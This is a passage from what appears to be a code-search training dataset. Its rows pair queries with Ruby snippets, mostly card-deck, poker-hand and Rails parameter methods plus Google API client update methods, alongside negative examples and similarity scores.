suit, 3))\n @cards.push(Card.new('Four', suit, 4))\n @cards.push(Card.new('Five', suit, 5))\n @cards.push(Card.new('Six', suit, 6))\n @cards.push(Card.new('Seven', suit, 7))\n @cards.push(Card.new('Eight', suit, 8))\n @cards.push(Card.new('Nine', suit, 9))\n @cards.push(Card.new('Ten', suit, 10))\n @cards.push(Card.new('Jack', suit, 10))\n @cards.push(Card.new('Queen', suit, 10))\n @cards.push(Card.new('King', suit, 10))\n end\n end", "def card_params\n params.require(:card).permit(:front, :back, :status, :deck_id, :image)\n end", "def card_params\n params.require(:card).permit(:card, :ocr_info, :user, :tag_list)\n end", "def card_params\n params.require(:card).permit(:full_name, :identification, :password, :cpf, :email, :phone, :card_type)\n end", "def choose_cards(turn, player)\n if turn.turn_card_on_deck?\n rand_num = rand(2)\n list_of_cards = case\n when rand_num == 0: Array.new.push(turn.turn_get_a_card_from_deck)\n when rand_num == 1: turn.turn_get_cards_from_stack(1)\n end\n else\n list_of_cards = turn.turn_get_cards_from_stack(1)\n end\n list_of_cards.concat(turn.turn_get_cards_from_stack(1))\n end", "def define_suit(card)\r\n # Good luck\r\n case card.downcase\r\n when '3c'\r\n 'clubs'\r\n when '3d'\r\n 'diamonds'\r\n when '3h'\r\n 'hearts'\r\n when '3s'\r\n 'spades'\r\n else\r\n card\r\n end\r\nend", "def fetch_cards\n log 'fetch_cards'\n data = get(PRODUCTS_ENDPOINT, fields: { carteras: false,listaSolicitada: 'TODOS',indicadorSaldoPreTarj: false })\n data['datosSalidaTarjetas']['tarjetas'].map{ |data| build_card(data) }\n end", "def initialize\r\n @pack = []\r\n possible = Card.ranks ** Card.suits\r\n possible.each { |combo| @pack.push(Card.new(combo[0], combo[1])) }\r\n end", "def valid_options_for_credit_card\n {\n :type => 'visa',\n :number => '4111111111111111',\n :verification_value => '111',\n :expires_on => Time.now + 1.year,\n :first_name => 'Quentin',\n :last_name => 'Costa'\n }\n end", "def paid_with_card?\n payment_type == \"card\"\n end", "def card_params\n list = [\n :nid, :did, :ord, :mod, :usn, :type, :queue, :due, :ivl, :factor, :reps, :lapses, :left, :odue, :odid, :flags, :data\n ]\n params.require(:card).permit(*list)\n end", "def card_params\n params.require(:card).permit(:visible, :name, :question_text, :answer_text, :background_color, :foreground_color, :font_size, :font_style, :picture)\n end", "def card_params\n # todo change to require\n params[:card].permit(:card_number, :expiration_date, :card_type, :short_expiration)\n end", "def card_params\n params.require(:card).permit(:id, :card_number, :security_type, :security_code, :expires_end)\n end", "def affordable_cards\n answer = Array.new()\n (@game.all_displayed_cards + @player.tableau.reserved_cards).each do |card|\n @cost = @player.tableau.tokens_required(card)\n answer << card if !@cost==false\n end\n answer\n end", "def card_params\n params[:card].permit!\n end", "def card_params\n params.require(:card).permit(:card_number, :card_type, :expiration_month, :expiration_year, :balance)\n end", "def create_52_card_deck\n\n end", "def define_suit(card)\n # Good luck\nend", "def card_params\n params.require(:card).permit(:user_id, :ip_address, :first_name, :last_name, :card_type, :card_expires_on, :card_number, :card_verification)\n end", "def cardType(cardNumber)\n $cardTypes.each_key {|format|\n return $cardTypes[format] if cardNumber =~ format}\n \"Unknown\"\nend", "def set_magic_card_type\n @magic_card_type = MagicCardType.find(params[:id])\n end", "def card\n Card.from_response client.get(\"/actions/#{action_id}/card\")\n end", "def card(hand)\n loop do\n print \"What card do you want (only from sets you have): \"\n wanted_card_name = gets.chomp\n # check against sets, and validate input (i.e. wanted card set in hand, but wanted card is not)\n unless Deck.card_id(wanted_card_name).nil?\n if (hand.collect { |e| e[0] }.include? (Deck.card_id(wanted_card_name)[0])) && !(hand.include? (Deck.card_id(wanted_card_name)))\n return Deck.card_id(wanted_card_name)\n else\n print \"Please enter a valid card name...\\n\"\n end\n else\n print \"Please enter a valid card name...\\n\"\n end\n end\n end", "def player_deal_card\n player.add_card(deck.deal_card)\n player.add_card(deck.deal_card)\n player.show_hand\n end", "def populate_deck\n # self.initial_size.times do\n # new_card_class = Card.library.values.sample\n # new_card = new_card_class.new\n # self.cards << new_card\n # end\n 40.times do\n new_card_type = Card.library.values.sample\n new_card = new_card_type.create\n self.cards << new_card\n end\n end", "def blackjack?(cards)\n\nend", "def index\n @magic_card_types = MagicCardType.all\n end", "def initialize(codes)\n\t\t@cards = codes.split(\" \").map { |s| Card.new(s) }.sort {|a,b| a <=> b}.reverse\n\t\t\n\t\tdistinct_suits = Set.new.merge @cards.map{|card| card.suit}\n\n\t\tis_straight =\n\t\t\t@cards[0].value-1 == @cards[1].value &&\n\t\t\t@cards[0].value-2 == @cards[2].value &&\n\t\t\t@cards[0].value-3 == @cards[3].value &&\n\t\t\t@cards[0].value-4 == @cards[4].value\n\n\t\tif @is_straight && @cards[0].value == 14 && distinct_suits.size == 1\n\t\t\t@hand = 'ROYAL_FLUSH'\n\t\t\treturn\n\t\tend\n\n\t\tif is_straight && distinct_suits.size == 1\n\t\t\t@hand = 'STRAIGHT_FLUSH'\n\t\t\tset_ranking_cards([0])\n\t\t\treturn\n\t\tend\n\n\t\t# Four of a kind\n\t\tif equal_values([0,1,2,3])\n\t\t\t@hand = 'FOUR_OF_KIND'\n\t\t\tset_ranking_cards([0])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2,3,4])\n\t\t\t@hand = 'FOUR_OF_KIND'\n\t\t\tset_ranking_cards([1])\n\t\t\treturn\n\t\tend\n\t\t\n\t\t# Full house\n\t\tif equal_values([0,1,2],[3,4])\n\t\t\t@hand = 'FULL_HOUSE'\n\t\t\t@ranking_cards = [@cards[0]]\n\t\t\treturn\n\t\tend\n\t\tif equal_values([0,1],[2,3,4])\n\t\t\t@hand = 'FULL_HOUSE'\n\t\t\tset_ranking_cards([2])\n\t\t\treturn\n\t\tend\n\n\t\t# Flush\n\t\tif distinct_suits.size == 1\n\t\t\t@hand = 'FLUSH'\n\t\t\tset_ranking_cards([0,1,2,3,4])\n\t\t\treturn\n\t\tend\n\n\t\t# Straight\n\t\tif is_straight\n\t\t\t@hand = 'STRAIGHT'\n\t\t\tset_ranking_cards([0])\n\t\t\treturn\n\t\tend\n\n\t\t# 3 of a kind\n\t\tif equal_values([0,1,2])\n\t\t\t@hand = 'THREE_OF_KIND'\n\t\t\tset_ranking_cards([0,3,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2,3])\n\t\t\t@hand = 'THREE_OF_KIND'\n\t\t\tset_ranking_cards([1,0,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([2,3,4])\n\t\t\t@hand = 'THREE_OF_KIND'\n\t\t\tset_ranking_cards([2,0,1])\n\t\t\treturn\n\t\tend\n\n\n\t\t# 2 pair\n\t\tif equal_values([0,1],[2,3])\n\t\t\t@hand = 'TWO_PAIR'\n\t\t\tset_ranking_cards([0,2,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([0,1],[3,4])\n\t\t\t@hand = 'TWO_PAIR'\n\t\t\tset_ranking_cards([0,3,2])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2],[3,4])\n\t\t\t@hand = 'TWO_PAIR'\n\t\t\tset_ranking_cards([1,3,0])\n\t\t\treturn\n\t\tend\n\n\t\t# pair\n\t\tif equal_values([0,1])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([0,2,3,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([1,2])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([1,0,3,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([2,3])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([2,0,1,4])\n\t\t\treturn\n\t\tend\n\t\tif equal_values([3,4])\n\t\t\t@hand = 'PAIR'\n\t\t\tset_ranking_cards([3,0,1,2])\n\t\t\treturn\n\t\tend\n\n\t\t@hand = 'HIGH_CARD'\n\t\tset_ranking_cards([0,1,2,3,4])\n\n\tend", "def cards\n @cards ||= EbanqApi::Cards.new(self)\n end", "def credit_card_type\n Faker::Business.credit_card_type\n end", "def create_deck\r\n all_cards = []\r\n # Hearts ♥\r\n all_cards << ace_of_hearts = Ace.new('A', 'hearts', \"♥\")\r\n all_cards << king_of_hearts = Card.new('K', 'hearts', 10, \"♥\")\r\n all_cards << queen_of_hearts = Card.new('Q', 'hearts', 10, \"♥\")\r\n all_cards << jack_of_hearts = Card.new('J', 'hearts', 10, \"♥\")\r\n all_cards << ten_of_hearts = Card.new('10', 'hearts', 10, \"♥\")\r\n all_cards << nine_of_hearts = Card.new('9', 'hearts', 9, \"♥\")\r\n all_cards << eight_of_hearts = Card.new('8', 'hearts', 8, \"♥\")\r\n all_cards << seven_of_hearts = Card.new('7', 'hearts', 7, \"♥\")\r\n all_cards << six_of_hearts = Card.new('6', 'hearts', 6, \"♥\")\r\n all_cards << five_of_hearts = Card.new('5', 'hearts', 5, \"♥\")\r\n all_cards << four_of_hearts = Card.new('4', 'hearts', 4, \"♥\")\r\n all_cards << three_of_hearts = Card.new('3', 'hearts', 3, \"♥\")\r\n all_cards << two_of_hearts = Card.new('2', 'hearts', 2, \"♥\")\r\n # Spades ♠\r\n all_cards << ace_of_spades = Ace.new('A', 'spades', \"♠\")\r\n all_cards << king_of_spades = Card.new('K', 'spades', 10, \"♠\")\r\n all_cards << queen_of_spades = Card.new('Q', 'spades', 10, \"♠\")\r\n all_cards << jack_of_spades = Card.new('J', 'spades', 10, \"♠\")\r\n all_cards << ten_of_spades = Card.new('10', 'spades', 10, \"♠\")\r\n all_cards << nine_of_spades = Card.new('9', 'spades', 9, \"♠\")\r\n all_cards << eight_of_spades = Card.new('8', 'spades', 8, \"♠\")\r\n all_cards << seven_of_spades = Card.new('7', 'spades', 7, \"♠\")\r\n all_cards << six_of_spades = Card.new('6', 'spades', 6, \"♠\")\r\n all_cards << five_of_spades = Card.new('5', 'spades', 5, \"♠\")\r\n all_cards << four_of_spades = Card.new('4', 'spades', 4, \"♠\")\r\n all_cards << three_of_spades = Card.new('3', 'spades', 3, \"♠\")\r\n all_cards << two_of_spades = Card.new('2', 'spades', 2, \"♠\")\r\n # Diamonds ♦\r\n all_cards << ace_of_diamonds = Ace.new('A', 'diamonds', \"♦\")\r\n all_cards << king_of_diamonds = Card.new('K', 'diamonds', 10, \"♦\")\r\n all_cards << queen_of_diamonds = Card.new('Q', 'diamonds', 10, \"♦\")\r\n all_cards << jack_of_diamonds = Card.new('J', 'diamonds', 10, \"♦\")\r\n all_cards << ten_of_diamonds = Card.new('10', 'diamonds', 10, \"♦\")\r\n all_cards << nine_of_diamonds = Card.new('9', 'diamonds', 9, \"♦\")\r\n all_cards << eight_of_diamonds = Card.new('8', 'diamonds', 8, \"♦\")\r\n all_cards << seven_of_diamonds = Card.new('7', 'diamonds', 7, \"♦\")\r\n all_cards << six_of_diamonds = Card.new('6', 'diamonds', 6, \"♦\")\r\n all_cards << five_of_diamonds = Card.new('5', 'diamonds', 5, \"♦\")\r\n all_cards << four_of_diamonds = Card.new('4', 'diamonds', 4, \"♦\")\r\n all_cards << three_of_diamonds = Card.new('3', 'diamonds', 3, \"♦\")\r\n all_cards << two_of_diamonds = Card.new('2', 'diamonds', 2, \"♦\")\r\n # Clubs ♣\r\n all_cards << ace_of_clubs = Ace.new('A', 'clubs', \"♣\")\r\n all_cards << king_of_clubs = Card.new('K', 'clubs', 10, \"♣\")\r\n all_cards << queen_of_clubs = Card.new('Q', 'clubs', 10, \"♣\")\r\n all_cards << jack_of_clubs = Card.new('J', 'clubs', 10, \"♣\")\r\n all_cards << ten_of_clubs = Card.new('10', 'clubs', 10, \"♣\")\r\n all_cards << nine_of_clubs = Card.new('9', 'clubs', 9, \"♣\")\r\n all_cards << eight_of_clubs = Card.new('8', 'clubs', 8, \"♣\")\r\n all_cards << seven_of_clubs = Card.new('7', 'clubs', 7, \"♣\")\r\n all_cards << six_of_clubs = Card.new('6', 'clubs', 6, \"♣\")\r\n all_cards << five_of_clubs = Card.new('5', 'clubs', 5, \"♣\")\r\n all_cards << four_of_clubs = Card.new('4', 'clubs', 4, \"♣\")\r\n all_cards << three_of_clubs = Card.new('3', 'clubs', 3, \"♣\")\r\n all_cards << two_of_clubs = Card.new('2', 'clubs', 2, \"♣\")\r\n all_cards\r\nend", "def play_cards\n selection = get_card_numbers\n selection_cards = selection.map {|i| @game.field[i] }\n if (selection_cards.compact.length != 3)\n flash[:error] = 'You did not select three cards.'\n return false\n end\n @found_set = @game.make_set_selection( @player, *selection_cards )\n unless @found_set\n flash[:notice] = 'The three cards you selected are not a set.'\n return false\n end\n flash[:notice] = nil\n flash[:error] = nil\n true\n end", "def define_suit(card)\n suit = card[1]\n case suit\n when \"C\"\n return 'clubs'\n when \"D\"\n return 'diamonds'\n when \"H\"\n return 'hearts'\n when \"S\"\n return 'spades'\n end\nend", "def onalg_player_cardsnot_allowed(player, cards)\r\n lbl_card = cards[0]\r\n log \"#{player.name} ha giocato una carta non valida [#{nome_carta_ita(lbl_card)}]\\n\"\r\n @player_on_gui[:can_play] = true\r\n end", "def generate_deck # ANTHONY\n @suits.each do |suit|\n @rank.each do |rank|\n color = (suit == 'Spades' || suit == 'Clubs') ? 'Black' : 'Red'\n @cards << Card.new(rank, suit, color)\n end\n end\n end", "def magic_card_type_params\n params.require(:magic_card_type).permit(:name)\n end", "def get_card_params\n params.require(:get_card).permit(:result_no, :generate_no, :e_no, :name, :card_id, :get_type)\n end", "def choose_cards(turn, player)\n num = rand(turn.turn_stack_inspect.size)\n num += 1\n\n if turn.turn_card_on_deck?\n rand_num = rand(2)\n case\n when rand_num == 0: Array.new.push(turn.turn_get_a_card_from_deck)\n when rand_num == 1: turn.turn_get_cards_from_stack(num)\n end\n else\n turn.turn_get_cards_from_stack(num)\n end\n end", "def create_deck\n all_cards = []\n # Hearts ♥\n all_cards << ace_of_hearts = Ace.new('A', 'hearts', \"♥\")\n all_cards << king_of_hearts = Card.new('K', 'hearts', 10, \"♥\")\n all_cards << queen_of_hearts = Card.new('Q', 'hearts', 10, \"♥\")\n all_cards << jack_of_hearts = Card.new('J', 'hearts', 10, \"♥\")\n all_cards << ten_of_hearts = Card.new('10', 'hearts', 10, \"♥\")\n all_cards << nine_of_hearts = Card.new('9', 'hearts', 9, \"♥\")\n all_cards << eight_of_hearts = Card.new('8', 'hearts', 8, \"♥\")\n all_cards << seven_of_hearts = Card.new('7', 'hearts', 7, \"♥\")\n all_cards << six_of_hearts = Card.new('6', 'hearts', 6, \"♥\")\n all_cards << five_of_hearts = Card.new('5', 'hearts', 5, \"♥\")\n all_cards << four_of_hearts = Card.new('4', 'hearts', 4, \"♥\")\n all_cards << three_of_hearts = Card.new('3', 'hearts', 3, \"♥\")\n all_cards << two_of_hearts = Card.new('2', 'hearts', 2, \"♥\")\n # Spades ♠\n all_cards << ace_of_spades = Ace.new('A', 'spades', \"♠\")\n all_cards << king_of_spades = Card.new('K', 'spades', 10, \"♠\")\n all_cards << queen_of_spades = Card.new('Q', 'spades', 10, \"♠\")\n all_cards << jack_of_spades = Card.new('J', 'spades', 10, \"♠\")\n all_cards << ten_of_spades = Card.new('10', 'spades', 10, \"♠\")\n all_cards << nine_of_spades = Card.new('9', 'spades', 9, \"♠\")\n all_cards << eight_of_spades = Card.new('8', 'spades', 8, \"♠\")\n all_cards << seven_of_spades = Card.new('7', 'spades', 7, \"♠\")\n all_cards << six_of_spades = Card.new('6', 'spades', 6, \"♠\")\n all_cards << five_of_spades = Card.new('5', 'spades', 5, \"♠\")\n all_cards << four_of_spades = Card.new('4', 'spades', 4, \"♠\")\n all_cards << three_of_spades = Card.new('3', 'spades', 3, \"♠\")\n all_cards << two_of_spades = Card.new('2', 'spades', 2, \"♠\")\n # Diamonds ♦\n all_cards << ace_of_diamonds = Ace.new('A', 'diamonds', \"♦\")\n all_cards << king_of_diamonds = Card.new('K', 'diamonds', 10, \"♦\")\n all_cards << queen_of_diamonds = Card.new('Q', 'diamonds', 10, \"♦\")\n all_cards << jack_of_diamonds = Card.new('J', 'diamonds', 10, \"♦\")\n all_cards << ten_of_diamonds = Card.new('10', 'diamonds', 10, \"♦\")\n all_cards << nine_of_diamonds = Card.new('9', 'diamonds', 9, \"♦\")\n all_cards << eight_of_diamonds = Card.new('8', 'diamonds', 8, \"♦\")\n all_cards << seven_of_diamonds = Card.new('7', 'diamonds', 7, \"♦\")\n all_cards << six_of_diamonds = Card.new('6', 'diamonds', 6, \"♦\")\n all_cards << five_of_diamonds = Card.new('5', 'diamonds', 5, \"♦\")\n all_cards << four_of_diamonds = Card.new('4', 'diamonds', 4, \"♦\")\n all_cards << three_of_diamonds = Card.new('3', 'diamonds', 3, \"♦\")\n all_cards << two_of_diamonds = Card.new('2', 'diamonds', 2, \"♦\")\n # Clubs ♣\n all_cards << ace_of_clubs = Ace.new('A', 'clubs', \"♣\")\n all_cards << king_of_clubs = Card.new('K', 'clubs', 10, \"♣\")\n all_cards << queen_of_clubs = Card.new('Q', 'clubs', 10, \"♣\")\n all_cards << jack_of_clubs = Card.new('J', 'clubs', 10, \"♣\")\n all_cards << ten_of_clubs = Card.new('10', 'clubs', 10, \"♣\")\n all_cards << nine_of_clubs = Card.new('9', 'clubs', 9, \"♣\")\n all_cards << eight_of_clubs = Card.new('8', 'clubs', 8, \"♣\")\n all_cards << seven_of_clubs = Card.new('7', 'clubs', 7, \"♣\")\n all_cards << six_of_clubs = Card.new('6', 'clubs', 6, \"♣\")\n all_cards << five_of_clubs = Card.new('5', 'clubs', 5, \"♣\")\n all_cards << four_of_clubs = Card.new('4', 'clubs', 4, \"♣\")\n all_cards << three_of_clubs = Card.new('3', 'clubs', 3, \"♣\")\n all_cards << two_of_clubs = Card.new('2', 'clubs', 2, \"♣\")\n all_cards\nend", "def deal_card!(cards)\n\nend", "def deal_cards\n\t\t\tend", "def validate_card(card)\n\n rank = [2,3,4,5,6,7,8,9,10,11,12,13,14]\n name = ['2','3','4','5','6','7','8','9','10','Jack','Queen','King','Ace']\n suit = [:heart, :diamond, :spade, :club]\n\n suit.each do |suit|\n rank.each_with_index do |rank, nam|\n temp = [name[nam], suit, rank]\n @valid_cards << temp\n end\n end\n #require 'pry' ; binding.pry\n @valid_cards.index(card).nil?\n end", "def card_params\n params.require(:card).permit(:number, :name, :text, :description)\n end", "def enter_credit_card_info (credit_card_type, credit_card_number, exp_month, exp_year, sec_code)\n if credit_card_type != \"PowerUp Rewards Credit Card\"\n chkout_credit_card_selector.value = credit_card_type\n chkout_credit_card_number_field.value = credit_card_number\n chkout_credit_card_month_selector.value = exp_month\n chkout_credit_card_year_selector.value = exp_year\n chkout_security_code_number_field.value = sec_code\n else\n chkout_credit_card_selector.value = credit_card_type\n chkout_credit_card_number_field.value = credit_card_number\n chkout_credit_card_month_selector.is_visible.should be_false\n chkout_credit_card_year_selector.is_visible.should be_false\n chkout_security_code_number_field.is_visible.should be_false\n end\n\n end", "def initialize(cards)\n # If more than one card exists in the deck (i.e. cards are an array)\n if cards.class == Array\n @cards = cards\n # If only one card exists in the deck (cards.class == Card)\n else\n @cards = Array.new([cards])\n end\n end", "def card_params\n params[:card]\n end" ]
[ "0.7482183", "0.72688854", "0.72688854", "0.7063475", "0.704859", "0.6933525", "0.68257904", "0.6736885", "0.6682585", "0.66658336", "0.66642684", "0.6643928", "0.66120166", "0.66077936", "0.6528977", "0.6513891", "0.64979213", "0.6483292", "0.6478766", "0.6461557", "0.6438608", "0.6411424", "0.64086115", "0.63838613", "0.63784695", "0.6364538", "0.63492596", "0.6343919", "0.6309434", "0.62945735", "0.62921035", "0.62889534", "0.62797153", "0.6254539", "0.6241794", "0.62396175", "0.621825", "0.6188855", "0.61791986", "0.61734277", "0.61678433", "0.6167384", "0.61608356", "0.61575943", "0.6146576", "0.61382014", "0.6134642", "0.6122206", "0.61112624", "0.60665107", "0.6059807", "0.6046733", "0.6036318", "0.6034924", "0.60068303", "0.5997947", "0.59978914", "0.5997295", "0.59960866", "0.5991637", "0.59912324", "0.5986841", "0.5985605", "0.5981825", "0.5978286", "0.5976438", "0.5972539", "0.596451", "0.59616417", "0.59509623", "0.59456307", "0.5941988", "0.59382564", "0.5929207", "0.5923913", "0.59223384", "0.59185404", "0.5911206", "0.59102696", "0.5901794", "0.58993787", "0.58988684", "0.589817", "0.5893402", "0.5889979", "0.5889303", "0.5885604", "0.5879809", "0.58755255", "0.587432", "0.58727443", "0.58689255", "0.58661145", "0.58657056", "0.5864192", "0.5863755", "0.5855612", "0.58431286", "0.58384836", "0.5834615", "0.58324707" ]
0.0
-1
METODOS Falta agregar mas parametros para todos los tipos de udpate
def registrar_log(tipo) logd = Logdocumento.new(:usuario_id => Usuario.current.id, :documento_id => self.id, :tipo => tipo, :producto_id => self.producto_id, :nusuario => Usuario.current.nombre, :ndocumento => self.TipoDocumento.descripcion, :nproducto => self.producto.nombre) return logd.save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @data = args[:data] if args.key?(:data)\n @labels = args[:labels] if args.key?(:labels)\n @message_type = args[:message_type] if args.key?(:message_type)\n @name = args[:name] if args.key?(:name)\n @parsed_data = args[:parsed_data] if args.key?(:parsed_data)\n @patient_ids = args[:patient_ids] if args.key?(:patient_ids)\n @send_facility = args[:send_facility] if args.key?(:send_facility)\n @send_time = args[:send_time] if args.key?(:send_time)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @destination_address = args[:destination_address] if args.key?(:destination_address)\n @destination_port = args[:destination_port] if args.key?(:destination_port)\n @display_name = args[:display_name] if args.key?(:display_name)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update!(**args)\n @create_date = args[:create_date] if args.key?(:create_date)\n @created_by = args[:created_by] if args.key?(:created_by)\n @device_make = args[:device_make] if args.key?(:device_make)\n @device_name = args[:device_name] if args.key?(:device_name)\n @device_status = args[:device_status] if args.key?(:device_status)\n @device_type = args[:device_type] if args.key?(:device_type)\n @id = args[:id] if args.key?(:id)\n @modified_by = args[:modified_by] if args.key?(:modified_by)\n @modified_date = args[:modified_date] if args.key?(:modified_date)\n @serial_number = args[:serial_number] if args.key?(:serial_number)\n end", "def update!(**args)\n @creation_time = args[:creation_time] if args.key?(:creation_time)\n @device = args[:device] if args.key?(:device)\n @expire_time = args[:expire_time] if args.key?(:expire_time)\n @expire_timer_time = args[:expire_timer_time] if args.key?(:expire_timer_time)\n @id = args[:id] if args.key?(:id)\n @label = args[:label] if args.key?(:label)\n @last_updated = args[:last_updated] if args.key?(:last_updated)\n @original_duration = args[:original_duration] if args.key?(:original_duration)\n @original_timer_duration = args[:original_timer_duration] if args.key?(:original_timer_duration)\n @provider = args[:provider] if args.key?(:provider)\n @remaining_duration = args[:remaining_duration] if args.key?(:remaining_duration)\n @remaining_timer_duration = args[:remaining_timer_duration] if args.key?(:remaining_timer_duration)\n @ringtone = args[:ringtone] if args.key?(:ringtone)\n @ringtone_task_metadata = args[:ringtone_task_metadata] if args.key?(:ringtone_task_metadata)\n @room = args[:room] if args.key?(:room)\n @status = args[:status] if args.key?(:status)\n @vibrate = args[:vibrate] if args.key?(:vibrate)\n end", "def update_params\n raise 'Sovrascrivi in figli'\n end", "def update!(**args)\n @attribute_ids = args[:attribute_ids] if args.key?(:attribute_ids)\n @label_ids = args[:label_ids] if args.key?(:label_ids)\n @message_key = args[:message_key] if args.key?(:message_key)\n @sync_ids = args[:sync_ids] if args.key?(:sync_ids)\n end", "def update!(**args)\n @id = args[:id] unless args[:id].nil?\n @labels_added = args[:labels_added] unless args[:labels_added].nil?\n @labels_removed = args[:labels_removed] unless args[:labels_removed].nil?\n @messages = args[:messages] unless args[:messages].nil?\n @messages_added = args[:messages_added] unless args[:messages_added].nil?\n @messages_deleted = args[:messages_deleted] unless args[:messages_deleted].nil?\n end", "def update!(**args)\n @allow_external_members = args[:allow_external_members] if args.key?(:allow_external_members)\n @allow_google_communication = args[:allow_google_communication] if args.key?(:allow_google_communication)\n @allow_web_posting = args[:allow_web_posting] if args.key?(:allow_web_posting)\n @archive_only = args[:archive_only] if args.key?(:archive_only)\n @custom_footer_text = args[:custom_footer_text] if args.key?(:custom_footer_text)\n @custom_reply_to = args[:custom_reply_to] if args.key?(:custom_reply_to)\n @default_message_deny_notification_text = args[:default_message_deny_notification_text] if args.key?(:default_message_deny_notification_text)\n @description = args[:description] if args.key?(:description)\n @email = args[:email] if args.key?(:email)\n @include_custom_footer = args[:include_custom_footer] if args.key?(:include_custom_footer)\n @include_in_global_address_list = args[:include_in_global_address_list] if args.key?(:include_in_global_address_list)\n @is_archived = args[:is_archived] if args.key?(:is_archived)\n @kind = args[:kind] if args.key?(:kind)\n @max_message_bytes = args[:max_message_bytes] if args.key?(:max_message_bytes)\n @members_can_post_as_the_group = args[:members_can_post_as_the_group] if args.key?(:members_can_post_as_the_group)\n @message_display_font = args[:message_display_font] if args.key?(:message_display_font)\n @message_moderation_level = args[:message_moderation_level] if args.key?(:message_moderation_level)\n @name = args[:name] if args.key?(:name)\n @primary_language = args[:primary_language] if args.key?(:primary_language)\n @reply_to = args[:reply_to] if args.key?(:reply_to)\n @send_message_deny_notification = args[:send_message_deny_notification] if args.key?(:send_message_deny_notification)\n @show_in_group_directory = args[:show_in_group_directory] if args.key?(:show_in_group_directory)\n @spam_moderation_level = args[:spam_moderation_level] if args.key?(:spam_moderation_level)\n @who_can_add = args[:who_can_add] if args.key?(:who_can_add)\n @who_can_contact_owner = args[:who_can_contact_owner] if args.key?(:who_can_contact_owner)\n @who_can_invite = args[:who_can_invite] if args.key?(:who_can_invite)\n @who_can_join = args[:who_can_join] if args.key?(:who_can_join)\n @who_can_leave_group = args[:who_can_leave_group] if args.key?(:who_can_leave_group)\n @who_can_post_message = args[:who_can_post_message] if args.key?(:who_can_post_message)\n @who_can_view_group = args[:who_can_view_group] if args.key?(:who_can_view_group)\n @who_can_view_membership = args[:who_can_view_membership] if args.key?(:who_can_view_membership)\n end", "def update!(**args)\n @end_time = args[:end_time] if args.key?(:end_time)\n @messages = args[:messages] if args.key?(:messages)\n @name = args[:name] if args.key?(:name)\n @start_time = args[:start_time] if args.key?(:start_time)\n @state = args[:state] if args.key?(:state)\n @user_pseudo_id = args[:user_pseudo_id] if args.key?(:user_pseudo_id)\n end", "def update!(**args)\n @deletion = args[:deletion] if args.key?(:deletion)\n @id = args[:id] if args.key?(:id)\n end", "def update!(**args)\n @about_me_extended_data = args[:about_me_extended_data] if args.key?(:about_me_extended_data)\n @apps_waldo_extended_data = args[:apps_waldo_extended_data] if args.key?(:apps_waldo_extended_data)\n @caller_id_extended_data = args[:caller_id_extended_data] if args.key?(:caller_id_extended_data)\n @contacts_extended_data = args[:contacts_extended_data] if args.key?(:contacts_extended_data)\n @domain_name = args[:domain_name] if args.key?(:domain_name)\n @dynamite_extended_data = args[:dynamite_extended_data] if args.key?(:dynamite_extended_data)\n @gpay_extended_data = args[:gpay_extended_data] if args.key?(:gpay_extended_data)\n @gplus_extended_data = args[:gplus_extended_data] if args.key?(:gplus_extended_data)\n @hangouts_extended_data = args[:hangouts_extended_data] if args.key?(:hangouts_extended_data)\n @is_placeholder = args[:is_placeholder] if args.key?(:is_placeholder)\n @maps_extended_data = args[:maps_extended_data] if args.key?(:maps_extended_data)\n @paisa_extended_data = args[:paisa_extended_data] if args.key?(:paisa_extended_data)\n @people_stack_extended_data = args[:people_stack_extended_data] if args.key?(:people_stack_extended_data)\n @people_stack_person_extended_data = args[:people_stack_person_extended_data] if args.key?(:people_stack_person_extended_data)\n @play_games_extended_data = args[:play_games_extended_data] if args.key?(:play_games_extended_data)\n @tls_is_placeholder = args[:tls_is_placeholder] if args.key?(:tls_is_placeholder)\n @youtube_extended_data = args[:youtube_extended_data] if args.key?(:youtube_extended_data)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @name = args[:name] if args.key?(:name)\n @update_time = args[:update_time] if args.key?(:update_time)\n @values = args[:values] if args.key?(:values)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @description = args[:description] if args.key?(:description)\n @discovery_spec = args[:discovery_spec] if args.key?(:discovery_spec)\n @discovery_status = args[:discovery_status] if args.key?(:discovery_status)\n @display_name = args[:display_name] if args.key?(:display_name)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @resource_spec = args[:resource_spec] if args.key?(:resource_spec)\n @resource_status = args[:resource_status] if args.key?(:resource_status)\n @security_status = args[:security_status] if args.key?(:security_status)\n @state = args[:state] if args.key?(:state)\n @uid = args[:uid] if args.key?(:uid)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update!(**args)\n @annotations = args[:annotations] if args.key?(:annotations)\n @app_profile = args[:app_profile] if args.key?(:app_profile)\n @attachments = args[:attachments] if args.key?(:attachments)\n @attributes = args[:attributes] if args.key?(:attributes)\n @bot_responses = args[:bot_responses] if args.key?(:bot_responses)\n @communal_labels = args[:communal_labels] if args.key?(:communal_labels)\n @content_report_summary = args[:content_report_summary] if args.key?(:content_report_summary)\n @create_time = args[:create_time] if args.key?(:create_time)\n @creator_id = args[:creator_id] if args.key?(:creator_id)\n @deletable_by = args[:deletable_by] if args.key?(:deletable_by)\n @delete_time = args[:delete_time] if args.key?(:delete_time)\n @delete_time_for_requester = args[:delete_time_for_requester] if args.key?(:delete_time_for_requester)\n @deleted_by_vault = args[:deleted_by_vault] if args.key?(:deleted_by_vault)\n @dlp_scan_outcome = args[:dlp_scan_outcome] if args.key?(:dlp_scan_outcome)\n @dlp_scan_summary = 